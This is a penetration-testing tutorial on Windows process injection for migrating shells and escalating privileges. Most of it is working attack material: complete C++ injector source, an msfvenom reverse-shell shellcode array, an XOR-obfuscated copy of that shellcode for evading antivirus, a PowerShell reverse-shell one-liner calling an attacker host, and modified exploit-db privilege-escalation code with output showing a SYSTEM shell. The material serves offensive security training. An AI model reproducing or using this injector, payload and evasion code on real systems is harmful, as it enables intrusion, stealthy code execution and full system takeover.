In the various pentesting activities, there are many instances where you need to “migrate” a particular Windows working process, typically a shell. The following are some scenarios under which this can happen:

  1. You have an unstable shell and need to move to a more robust process on the victim’s machine (typically explorer.exe which will live until the victim does not log off);
  2. Some exploits require an interactive session, and if your process lives in session 0, you need to switch to a different one. Some of the more recent exploits such as the “Secondary Logon Handle Privilege Escalation” or, the more recent “Microsoft Windows – COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation” don’t work in session 0
  3. You need to migrate from a 32-bit process to a 64-bit processing system.

It is important to note that you can only migrate to processes according to your privileges, so if you are a standard user, you can only migrate to processes with same privileges from within the source application.

If you have a meterpreter shell, this task is very easy. All you must do is just launch the “migrate” command by specifying the PID and wait for process migration.

Technically speaking, this not a real migration, it’s more of a malicious code injection by creating a thread into another process. Meterpreter does this very well. It injects your current session, along with all the configurations and loaded extensions into a new remote thread.

An example of injecting a simple shellcode (for example a reverse shell) into another process directly from an “evil” process, without using the reflective dll injections is further discussed in the next section.

The Windows API

First, the necessary Windows APIs need to be categorized which are as follows:

  • OpenProcess() for opening the remote process
  • VirtualAllocEx() for allocating memory in remote process
  • WriteProcessMemory() for writing the shellcode in a newly allocated memory and make it executable
  • CreateRemoteThread() for creating a new remote thread and executing the relevant source code

No privileges are required for operating on your own processes, so the specialized functions such as AdjustTokenPrivileges() can thus be omitted.

These are the prototypes of the functions calls:

HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);

Where dwDesiredAccess in our case is “PROCESS_ALL_ACCESS” for the sake of simplicity, bInheritHandle is set to FALSE because it is not needed and dwProcessId is the PID of the process we want the code to inject into.

This particular function returns a handle which can be used for allocating the virtual memory:

LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);

Where hProcess is the handle we got with OpenProcess(), dwSize is the size of our shellcode, flAllocationTypet is set to “MEM_COMMIT” to have it directly allocated, and flProtect is set to “PAGE_EXECUTE_READWRITE.” Upon the execution of these command lines, the function returns a pointer to allocated memory.

The code is now injected with the following statements:

BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);

With lpBaseAddress set to the previous memory pointer, lpBuffer now contains the shellcode and nSize contains
the length of shellcode.

Now the remote thread is injected, which is as follows:

HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);

The default settings here can be set at the above points. The lpStartAddress is the pointer to our allocated memory containing the shellcode, and the dwCreationFlags is set to 0 to start the thread immediately.

The Shell Code

Next, a shellcode needs to be injected. A primary example of this is the “netcat” style with a reverse cmd.exe shell as illustrated below:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f c > shell.out

This is not a meterpreter payload, just an all-in-one stageless reverse cmd shell and thus should be considered harmless by antiviruses:

char buf[] =
“\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52”

“\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48”

“\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9”

“\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41”

“\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48”

“\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01”

“\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48”

“\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0”

“\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c”

“\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0”

“\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04”

“\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59”

“\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48”

“\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33”

“\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00”

“\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x80\x41\x54”

“\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c”

“\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff”

“\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2”

“\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48”

“\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99”

“\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63”

“\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57”

“\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44”

“\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6”

“\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff”

“\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5”

“\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff”

“\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48”

“\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13”

“\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5”;

Myinject.exe

The below screenshot illustrates a C++ Win32 console application “myinject” in Visual Studio 2015:

The source code can be seen below:

#include “stdafx.h”
#include <windows.h>

#include <stdio.h>

#include <stdlib.h>

#define EXIT_WITH_ERROR( e ) { printf( “%s – %d”, e, GetLastError() );return 1;}

//msfvenon -p windows/x64/shell_reverse_tcp lport= lhost= -f c

Char shellcode[] =\

“\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52”

“\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48”

“\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9”

“\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41”

“\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48”

“\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01”

“\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48”

“\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0”

“\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c”

“\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0”

“\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04”

“\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59”

“\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48”

“\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33”

“\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00”

“\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x80\x41\x54”

“\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c”

“\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff”

“\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2”

“\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48”

“\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99”

“\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63”

“\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57”

“\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44”

“\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6”

“\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff”

“\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5”

“\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff”

“\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48”

“\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13”

“\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5”;

int main(int argc, char * argv[])

{


    HANDLE hProcess = NULL;

    HANDLE hToken = NULL;

    LPVOID lpBuffer = NULL;

    DWORD dwProcessId = 0;

    int iSize;

    dwProcessId = atoi(argv[1]);

SIZE_T lpnumber = 0;

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

    if (!hProcess)

        EXIT_WITH_ERROR(“Failed to open the target process”);

    iSize = sizeof(shellcode);

    printf(“iSize=%d\n”, iSize);

    LPVOID vptr = (int *)VirtualAllocEx(hProcess, NULL, iSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    BOOL b = WriteProcessMemory(hProcess, vptr, shellcode, iSize, &lpnumber);

    printf(“WriteProcessResult:%d %lpnumber=%d %d\n”, b, lpnumber);

    HANDLE h = CreateRemoteThread(hProcess, NULL,0,(LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);

    if (h == NULL)

        {

            EXIT_WITH_ERROR(“Failed to execute shellcode);

        }

    return 0;

}

Here is a summary of what was done in the above steps:

  • The remote process with PID was opened and passed as argument from the command line;
  • The necessary memory space was allocated;
  • The shellcode in allocated memory was written;
  • The remote thread was subsequently launched.

Once compiled the “myinject.exe” is now64 bit executable ready.

Bypassing detection

In this particular example, we can use a simple “xor” for obfuscating the shellcode and again a xor in our program for de-obfuscating it by passing the xor key via the command line in order make it as stealthy and covert as possible.

This is the shellcode xor’ed with ‘y’ key:

Char buf[]=\
“\x85\x31\xfa\x9d\x89\x91\xb9\x79\x79\x79\x38\x28\x38\x29\x2b\x28\x2f\x31\x48\xab\x1c\x31”

“\xf2\x2b\x19\x31\xf2\x2b\x61\x31\xf2\x2b\x59\x31\xf2\x0b\x29\x31\x76\xce\x33\x33\x34\x48”

“\xb0\x31\x48\xb9\xd5\x45\x18\x05\x7b\x55\x59\x38\xb8\xb0\x74\x38\x78\xb8\x9b\x94\x2b\x38”

“\x28\x31\xf2\x2b\x59\xf2\x3b\x45\x31\x78\xa9\xf2\xf9\xf1\x79\x79\x79\x31\xfc\xb9\x0d\x1e”

“\x31\x78\xa9\x29\xf2\x31\x61\x3d\xf2\x39\x59\x30\x78\xa9\x9a\x2f\x31\x86\xb0\x38\xf2\x4d”

“\xf1\x31\x78\xaf\x34\x48\xb0\x31\x48\xb9\xd5\x38\xb8\xb0\x74\x38\x78\xb8\x41\x99\x0c\x88”

“\x35\x7a\x35\x5d\x71\x3c\x40\xa8\x0c\xa1\x21\x3d\xf2\x39\x5d\x30\x78\xa9\x1f\x38\xf2\x75”

“\x31\x3d\xf2\x39\x65\x30\x78\xa9\x38\xf2\x7d\xf1\x31\x78\xa9\x38\x21\x38\x21\x27\x20\x23”

“\x38\x21\x38\x20\x38\x23\x31\xfa\x95\x59\x38\x2b\x86\x99\x21\x38\x20\x23\x31\xf2\x6b\x90”

“\x2e\x86\x86\x86\x24\x30\xc7\x0e\x0a\x4b\x26\x4a\x4b\x79\x79\x38\x2f\x30\xf0\x9f\x31\xf8”

“\x95\xd9\x78\x79\x79\x30\xf0\x9c\x30\xc5\x7b\x79\x68\x25\xb9\xd1\x78\xf9\x38\x2d\x30\xf0”

“\x9d\x35\xf0\x88\x38\xc3\x35\x0e\x5f\x7e\x86\xac\x35\xf0\x93\x11\x78\x78\x79\x79\x20\x38”

“\xc3\x50\xf9\x12\x79\x86\xac\x29\x29\x34\x48\xb0\x34\x48\xb9\x31\x86\xb9\x31\xf0\xbb\x31”

“\x86\xb9\x31\xf0\xb8\x38\xc3\x93\x76\xa6\x99\x86\xac\x31\xf0\xbe\x13\x69\x38\x21\x35\xf0”

“\x9b\x31\xf0\x80\x38\xc3\xe0\xdc\x0d\x18\x86\xac\x31\xf8\xbd\x39\x7b\x79\x79\x30\xc1\x1a”

“\x14\x1d\x79\x79\x79\x79\x79\x38\x29\x38\x29\x31\xf0\x9b\x2e\x2e\x2e\x34\x48\xb9\x13\x74”

“\x20\x38\x29\x9b\x85\x1f\xbe\x3d\x5d\x2d\x78\x78\x31\xf4\x3d\x5d\x61\xbf\x79\x11\x31\xf0”

“\x9f\x2f\x29\x38\x29\x38\x29\x38\x29\x30\x86\xb9\x38\x29\x30\x86\xb1\x34\xf0\xb8\x35\xf0”

“\xb8\x38\xc3\x00\xb5\x46\xff\x86\xac\x31\x48\xab\x31\x86\xb3\xf2\x77\x38\xc3\x71\xfe\x64”

“\x19\x86\xac\xc2\x89\xcc\xdb\x2f\x38\xc3\xdf\xec\xc4\xe4\x86\xac\x31\xfa\xbd\x51\x45\x7f”

“\x05\x73\xf9\x82\x99\x0c\x7c\xc2\x3e\x6a\x0b\x16\x13\x79\x20\x38\xf0\xa3\x86\xac\x79”;

And in “myinject.cpp”:

char shellcode[sizeof(buf)];
for(int i=0;i<sizeof(buf);i++)

shellcode[i]=buf[i]^argv[1][0];

Ethical Hacking Training – Resources (InfoSec)

Testing the solution

To test the above, a Linux box was used to launch the “nc” command listening on port 4444.

$nc -lvp 4444

After that, on the Windows box from a command shell, the PID of the explorer process can thus be found, which is illustrated below:

The PID is 2168, user “andrea” on a Windows 2016 Server without Admin privileges. Now we can launch our program:

The above screenshot illustrates that this process does indeed work.

We now have a reverse shell on a Kali Linux box.

The Process ID can be seen below:

C:\Windows\system32>powershell (Get-WmiObject Win32_Process -Filter ProcessId=$PID).ParentProcessId
448

Moreover, the parent process ID of our process is really explorer.exe:

The shellcode has now been injected into explorer.exe, as illustrated up above.

Real case scenario

To test a real case scenario, a reverse PowerShell in session 0 on port 5555 is utilized, from a misconfigured scheduled task or service, as illustrated below:

connect to [192.168.1.128] from WIN-ECMUCGNONPU [192.168.1.91] 49723
PS C:\temp> whoami

win-ecmucgnonpu\andrea

PS C:\temp> ver

PS C:\temp> cmd /c ‘ver’

Microsoft Windows [Version 10.0.14393]

The Operating System is Windows Server 2016 and the “Microsoft Windows – COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation” exploit is thus being tested.

First, the source code needs to be modified, as illustrated below and also found at the following link: (https://www.exploit-db.com/exploits/42020/):

int wmain(int argc, wchar_t** argv)
{

    try

    {

        CoInit ci;

        if (argc > 2)

        {

            wcscpy_s(cmdline, argv[2]);

            CreateNewProcess(argv[1]);

        }

        else

        {

            wcscpy_s(cmdline, argv[1]);

            bstr_t script = L”script:” + CreateScriptletFile();



            BuildTypeLibs(script);

            TestBits();

        }

    }

…….

bstr_t CreateScriptletFile()

{

    bstr_t script_file = GetExeDir() + L”\\run.sct”;

    bstr_t script_data = scriptlet_start;

    bstr_t exe_file = GetExe();

    wchar_t* p = exe_file;

    while (*p)

    {

        if (*p == ‘\\’)

        {

            *p = ‘/’;

        }

        p++;

    }

    DWORD session_id;

    ProcessIdToSessionId(GetCurrentProcessId(), &session_id);

    WCHAR session_str[16];

    StringCchPrintf(session_str, _countof(session_str), L”%d”, session_id);

    script_data += L”\”” + exe_file + L”\” ” + session_str + ” ” + cmdline + ” ” +scriptlet_end;

    WriteFile(script_file, script_data);

    return script_file;

}

……

Instead of calling the predefined “cmd.exe”, the argument is passed via the command line. In this case a reverse shell is called. In this instance a new reverse powershell via a batch file is uploaded onto the victim’s machine in C:\TEMP and called “rev.bat”:

The Contents of rev.bat can be seen below:

powershell -exec byp -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘192.168.1.128’,6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”

Note the double “%%.”

The next step is to compile the modified exploit and upload it as “exploit.exe” in the “%TEMP% “directory of the current user.

Once the “exploit.exe” has been uploaded, we need to launch a new Netcat listener on port 6666. The same process is also launched on port 5555, which can be seen in the screenshot below:

C:\users\andrea\appdata\local\temp> .\exploit c:\temp\rev.bat
Building Library with path: script:C:\users\andrea\appdata\local\temp\run.sct
Found TLB name at offset 766
QI – Marshaller: {00000000-0000-0000-C000-000000000046} 000001F363434670
Queried Success: 000001F363434670
AddRef: 1
QI – Marshaller: {0000001B-0000-0000-C000-000000000046} 000001F363434670
QI – Marshaller: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 000001F363434670
QI – Marshaller: {00000000-0000-0000-C000-000000000046} 000001F363434670
Queried Success: 000001F363434670
AddRef: 2
QI – Marshaller: {00000018-0000-0000-C000-000000000046} 000001F363434670
QI – Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI – Marshaller: {00000040-0000-0000-C000-000000000046} 000001F363434670
QI – Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI – Marshaller: {94EA2B94-E9CC-49E0-C0FF-EE64CA8F5B90} 000001F363434670
QI – Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI – Marshaller: {77DD1250-139C-2BC3-BD95-900ACED61BE5} 000001F363434670
QI – Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI – Marshaller: {BFD60505-5A1F-4E41-88BA-A6FB07202DA9} 000001F363434670
QI – Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI – Marshaller: {03FB5C57-D534-45F5-A1F4-D39556983875} 000001F363434670
QI – Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI – Marshaller: {2C258AE7-50DC-49FF-9D1D-2ECB9A52CDD7} 000001F363434670
QI – Marshaller: {00000019-0000-0000-C000-000000000046} 000001F363434670
QI – Marshaller: {4C1E39E1-E3E3-4296-AA86-EC938D896E92} 000001F363434670
Release: 3
Opened Link \??\C: -> \Device\HarddiskVolume2\users\andrea\appdata\local\temp: 00000000000001AC
QI – Marshaller: {00000003-0000-0000-C000-000000000046} 000001F363459520
Queried Success: 000001F363459520
AddRef: 1
Release: 2
QI – Marshaller: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 000001F363459520
QI – Marshaller: {00000003-0000-0000-C000-000000000046} 000001F363459520
Queried Success: 000001F363459520
AddRef: 1
Marshal Interface: {00000000-0000-0000-C000-000000000046}
AddRef: 2
AddRef: 3
Release: 4
Marshal Complete: 00000000
Release: 2
AddRef: 3
Release: 4
Release: 3
Result: 800704DD
Done
Release: 1
Release object 000001F363459520
Release: 2
PS C:\users\andrea\appdata\local\temp>

Unfortunately, nothing happened in our netcat console listening on 6666.

The step now is to determine if the user we are impersonating is logged in and has an interactive session. “Explorer.exe” is, of course, the best tool for this, and this time we will use PowerShell cmdlets:

PS c:\temp>Get-Process -Name explorer

The two explorer.exe processes are running, and the screenshot below shows the information about the owners:

Get-WmiObject Win32_Process -Filter “name=’explorer.exe'” | Select handle,Name, @{Name=”UserName”;Expression={$_.GetOwner().User}}


The above screenshot illustrates that the user is logged in and that the PID is 2524. Keep in mind that on Windows systems, if you have standard privileges, you can also see the owner of the running processes as well but, only if it is yours.

The next step is to upload the “myinject.exe” and inject it into the “explorer.exe” process to obtain a new interactive shell on port 4444:

PS C:\users\andrea\appdata\local\temp>myinject 2524 y

From this new shell, we launch the exploit again, as illustrated below:

A new shell on port 6666 as “NT AUTHORITY\SYSTEM” has been thus created:

The above screenshot demonstrates that the exploit did indeed work.

Conclusions

The shellcode should not be hardcoded in the exe file, but instead, it should be read from an external file. However, this was not the main intention. The point of this article is to take a deep dive in process injection and further exemplify what can be done with it.